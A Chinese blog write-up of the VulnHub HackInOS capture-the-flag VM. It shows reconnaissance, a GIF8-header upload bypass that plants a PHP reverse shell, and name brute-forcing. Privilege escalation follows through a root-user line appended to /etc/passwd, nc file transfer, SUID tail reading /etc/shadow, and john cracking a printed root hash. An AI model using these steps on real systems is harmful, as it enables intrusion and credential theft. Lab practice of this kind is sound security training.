实战打靶集锦-025-HackInOS

2024-02-22 11:20

本文主要是介绍实战打靶集锦-025-HackInOS,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • 1. 主机发现
  • 2. 端口扫描
  • 3. 服务枚举
  • 4. 服务探查
  • 5. 提权
    • 5.1 枚举系统信息
    • 5.2 探索一下passwd
    • 5.3 枚举可执行文件
    • 5.4 查看capabilities位
    • 5.5 目录探索
    • 5.6 枚举定时任务
    • 5.7 Linpeas提权


靶机地址:https://download.vulnhub.com/hackinos/HackInOS.ova

1. 主机发现

目前只知道目标靶机在192.168.232.xx网段,通过如下的命令,看看这个网段上在线的主机。

$ nmap -sP 192.168.232.0/24

在这里插入图片描述
锁定目标靶机IP为192.168.232.145。

2. 端口扫描

通过下面的命令进行端口扫描。

$ sudo nmap -p 1-65535 192.168.232.145

在这里插入图片描述
暴露的端口不多,看来只能先从8000端口下手了。

3. 服务枚举

通过下面的命令进行服务枚举。

$ sudo nmap -p22,8000 -A -sT -sV 192.168.232.145

在这里插入图片描述

4. 服务探查

先通过浏览器访问一下8000端口看一下。
在这里插入图片描述
貌似是一个基于WoePress的Blog站点,不过比较有意思的是,所有的超链接都指向了localhost,就算我在kali上将localhost指向了靶机,还是无法访问,但是手工在浏览器里面将localhost修改成靶机IP地址就可以访问。就算修改了/etc/hosts也不会生效,不过手工ping这个localhost是可以跳转到我们的靶机地址的。
在这里插入图片描述
先用wpscan扫描一下再说吧。

$ wpscan --url http://192.168.232.145:8000/

在这里插入图片描述
扫出了一点东西,但是感觉价值没有那么高,先看看对应的robots文件。
在这里插入图片描述
进去看看。
在这里插入图片描述
upload.php页面可以上传突破文件,不过uploads目录不允许访问,估计是做了限制,不过这里应该是显示上传的文件的列表,试了一下确实可以上传成功,不过这里看不到。枚举一下目录吧。

$ dirsearch -u http://192.168.232.145:8000/

在这里插入图片描述
没有太特殊的内容发现,再用dirb挂载big字典看看。

$ dirb http://192.168.232.145:8000/ /usr/share/wordlists/dirb/big.txt -X .php

在这里插入图片描述
跟之前的扫描没啥区别,唯一多出来的一个/wp-trackback.php,里面也没有什么特殊内容,如下图。
在这里插入图片描述
果断放弃了,还是看看apache和wordpress有没有可用的EXP吧,遗憾的是也没有找到合适的。
回顾前面的操作,貌似大概率可能突破边界的地方还是上传文件的地方,回过头去再看看。
在这里插入图片描述
这个页面实在是简单的不能再简单了,上传一个图片文件和php脚本分别看看有啥反应。
在这里插入图片描述
没有太多的规律性,现在的关键是找到上传的内容去了哪里,先看看Submit按钮的源代码吧。
在这里插入图片描述
也没啥特殊的,不过最后的注释行里面有个git上的项目,看看这里面是否有我们需要的内容。
在这里插入图片描述
尤其是第二个,感觉就是这个靶机的一个打靶线索啊,竟然有这种好事,简直是救命稻草,进去看看。
在这里插入图片描述
这不是打靶的线索,是对于这个靶机的描述,还是看看README.md和upload.php两个文件吧。
在这里插入图片描述
果真是文件上传的逻辑,大致是在元文件名后面添加1~100的随机数,然后再计算MD5作为新文件名,文件上传到/uploads/目录下;如果上传的是图片文件(mime类型为image/png或者image/gif),返回“file uploaded xxx”如果是其它文件,返回“😃”,看来我们之前显示的“😃”都是因为上传失败了。
知道了这个大致逻辑,我们就可以尝试枚举我们上传后的文件的文件名了。思路如下:
先构建一个带有反弹shell的php文件,文件头添加GIF8以绕过文件类型检查,如下图。
在这里插入图片描述
然后这个文件名后面添加1~100的数字并计算出MD5作为新的文件名,将这些文件名写到一个文件里面作为字典,然后用dirb进行爆破,应该是可以爆破出上传文件的文件名。
我们的php文件如上图所示,然后分别将对应的文件名加上1~100,即revers1、revers2、revers3、revers4 …,然后将文件名计算MD5后放到文本文件中作为字典(用python脚本生成)。
在这里插入图片描述
生成的字典如上图所示,用于生成字典的脚本如下图所示。
在这里插入图片描述
接下来我们开始上传带有反弹shell的php脚本revers.php。
在这里插入图片描述
根据代码中的逻辑,上图所示的信息显示时,代表上传成功了,然后我们用dirb挂上前面产生的字典枚举一下看看。

$ dirb http://192.168.232.145:8000/uploads/ my_dict.txt

在这里插入图片描述
好奇怪,我上传了N次,不应该枚举出来是空的。不知道是不是我本地的revers.php文件和python脚本、my_dict.txt字典不在同一个目录的原因,将revers.php文件拷贝到跟my_dict.txt同一个目录下再试一遍,顺利被枚举出来了,如下图。
在这里插入图片描述
接下来,在kali上的4444端口上建立监听,然后手工访问一下上面的文件试试看。
在这里插入图片描述
访问不成功,反弹shell也没有建立,前面枚举出来的两个文件都是这样的问题。再回过头来看看刚才枚举出来的文件还在不在。
在这里插入图片描述
空了,可能服务器后台有对上传的文件进行定时清理的机制,在我磨蹭的过程中被清理掉了。这次先建立好监听,然后快速上传,枚举出来以后直接访问一下。
在这里插入图片描述
嗯,这次建立反弹shell成功了,不过浏览器访问上传的文件的时候,还是提示not found。

5. 提权

先优化一下shell。

$ whereis python
$ /usr/bin/python3.5 -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述
这次看上去稍微正常一点了。

5.1 枚举系统信息

$ uname -a
$ cat /etc/*-release

在这里插入图片描述
是64位的Ubuntu 16.04.1。

5.2 探索一下passwd

$ cat /etc/passwd | grep -v nologin

在这里插入图片描述
从显示结果来看,除了root没有比较正常的用户可以通过shell登录。尝试写入一个用户。

$ openssl passwd test123

在这里插入图片描述

$ echo "testusr:$1$PR0EMvBa$Y6BsWQAQVRKB3ZfEnS1Ow0:0:0:root:/root:/bin/bash" >> /etc/passwd

在这里插入图片描述
没有权限。

5.3 枚举可执行文件

www-data@1afdd1f6b82c:/$ sudo -l

在这里插入图片描述
无法执行sudo。

www-data@1afdd1f6b82c:/home$ find / -user root -perm -4000 2>/dev/null

在这里插入图片描述
貌似没有可以用于提权的可执行文件。

5.4 查看capabilities位

www-data@1afdd1f6b82c:/home$ /usr/sbin/getcap -r / 2>/dev/null

在这里插入图片描述
没有合适的capabilities。

5.5 目录探索

先查看一下当前用户的家目录下都有些啥。

www-data@1afdd1f6b82c:/home$ cd ~/
www-data@1afdd1f6b82c:/home$ ls -lah

在这里插入图片描述
就是我们前面目录枚举是看到的内容,那个神奇的uploads目录也赫然在列,也没啥特殊的,还得用linpeas搞一下。

5.6 枚举定时任务

www-data@1afdd1f6b82c:/tmp$ cat /etc/crontab

在这里插入图片描述

5.7 Linpeas提权

在这里插入图片描述
嗯,靶机上竟然不能使用wget,看看有没有nc。
在这里插入图片描述
nc是可以的,通过nc上传linpeas.sh。
Kali主机:$ nc -lvnp 9999 < linpeas.sh
靶机上:$ nc 192.168.232.129 9999 > linpeas.sh
顺利传输成功。
在这里插入图片描述
运行一下。

www-data@1afdd1f6b82c:/home$ chmod u+x linpeas.sh
www-data@1afdd1f6b82c:/home$ sh linpeas.sh

可惜没看到有合适的提权提示,只有一个/usr/bin/tail(其实前面我们枚举可执行文件的时候就枚举出来了,不过不会用。。),如下图。
在这里插入图片描述
网上搜了半天,只找到了一篇文章,还不太会用。但是大致意思是通过具备SUID的命令可以临时获得对应文件的属主的权限?我们参照这篇文章(https://juggernaut-sec.com/suid-sgid-lpe/),用/etc/passwd文件试试看。
在这里插入图片描述
貌似没有我们想想的那么简单。不过按照上面的说法,我们是不是可以用tail想看啥文件就看啥文件?我们试试分别用cat和tail获取一下shadow文件的内容试试看。

www-data@1afdd1f6b82c:/tmp$ cat /etc/shadow
www-data@1afdd1f6b82c:/tmp$ /usr/bin/tail -c1G /etc/shadow

在这里插入图片描述
确实如上面的猜测,cat看不到shadow文件的内容,tail是可以的,并且在shadow中捞到了root用户的密码信息: 6 说明算法用的是 S H A − 512 ,中间的 6说明算法用的是SHA-512,中间的 6说明算法用的是SHA512,中间的qoj6/JJi是盐值,再往后才是密文。
手工看看能不能从中解析出真正的密码。

在这里插入图片描述
使用hash-identifier没有收获,再用john试试看。

$ echo '$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/' > root_pass.txt
$ john root_pass.txt

在这里插入图片描述
难道这个john就算是root的密码了?直接切换到root用户试试看吧。
在这里插入图片描述
还真是这样子,第一次从shadow文件中解析密码,又学了一招,获取一下flag。
在这里插入图片描述
提权成功。

这篇关于实战打靶集锦-025-HackInOS的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/735105

相关文章

使用 sql-research-assistant进行 SQL 数据库研究的实战指南(代码实现演示)

《使用sql-research-assistant进行SQL数据库研究的实战指南(代码实现演示)》本文介绍了sql-research-assistant工具,该工具基于LangChain框架,集... 目录技术背景介绍核心原理解析代码实现演示安装和配置项目集成LangSmith 配置(可选)启动服务应用场景

在Java中使用ModelMapper简化Shapefile属性转JavaBean实战过程

《在Java中使用ModelMapper简化Shapefile属性转JavaBean实战过程》本文介绍了在Java中使用ModelMapper库简化Shapefile属性转JavaBean的过程,对比... 目录前言一、原始的处理办法1、使用Set方法来转换2、使用构造方法转换二、基于ModelMapper

Java实战之自助进行多张图片合成拼接

《Java实战之自助进行多张图片合成拼接》在当今数字化时代,图像处理技术在各个领域都发挥着至关重要的作用,本文为大家详细介绍了如何使用Java实现多张图片合成拼接,需要的可以了解下... 目录前言一、图片合成需求描述二、图片合成设计与实现1、编程语言2、基础数据准备3、图片合成流程4、图片合成实现三、总结前

nginx-rtmp-module构建流媒体直播服务器实战指南

《nginx-rtmp-module构建流媒体直播服务器实战指南》本文主要介绍了nginx-rtmp-module构建流媒体直播服务器实战指南,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有... 目录1. RTMP协议介绍与应用RTMP协议的原理RTMP协议的应用RTMP与现代流媒体技术的关系2

C语言小项目实战之通讯录功能

《C语言小项目实战之通讯录功能》:本文主要介绍如何设计和实现一个简单的通讯录管理系统,包括联系人信息的存储、增加、删除、查找、修改和排序等功能,文中通过代码介绍的非常详细,需要的朋友可以参考下... 目录功能介绍:添加联系人模块显示联系人模块删除联系人模块查找联系人模块修改联系人模块排序联系人模块源代码如下

Golang操作DuckDB实战案例分享

《Golang操作DuckDB实战案例分享》DuckDB是一个嵌入式SQL数据库引擎,它与众所周知的SQLite非常相似,但它是为olap风格的工作负载设计的,DuckDB支持各种数据类型和SQL特性... 目录DuckDB的主要优点环境准备初始化表和数据查询单行或多行错误处理和事务完整代码最后总结Duck

Python中的随机森林算法与实战

《Python中的随机森林算法与实战》本文详细介绍了随机森林算法,包括其原理、实现步骤、分类和回归案例,并讨论了其优点和缺点,通过面向对象编程实现了一个简单的随机森林模型,并应用于鸢尾花分类和波士顿房... 目录1、随机森林算法概述2、随机森林的原理3、实现步骤4、分类案例:使用随机森林预测鸢尾花品种4.1

Golang使用minio替代文件系统的实战教程

《Golang使用minio替代文件系统的实战教程》本文讨论项目开发中直接文件系统的限制或不足,接着介绍Minio对象存储的优势,同时给出Golang的实际示例代码,包括初始化客户端、读取minio对... 目录文件系统 vs Minio文件系统不足:对象存储:miniogolang连接Minio配置Min

Node.js 中 http 模块的深度剖析与实战应用小结

《Node.js中http模块的深度剖析与实战应用小结》本文详细介绍了Node.js中的http模块,从创建HTTP服务器、处理请求与响应,到获取请求参数,每个环节都通过代码示例进行解析,旨在帮... 目录Node.js 中 http 模块的深度剖析与实战应用一、引言二、创建 HTTP 服务器:基石搭建(一

网页解析 lxml 库--实战

lxml库使用流程 lxml 是 Python 的第三方解析库,完全使用 Python 语言编写,它对 XPath表达式提供了良好的支 持,因此能够了高效地解析 HTML/XML 文档。本节讲解如何通过 lxml 库解析 HTML 文档。 pip install lxml lxm| 库提供了一个 etree 模块,该模块专门用来解析 HTML/XML 文档,下面来介绍一下 lxml 库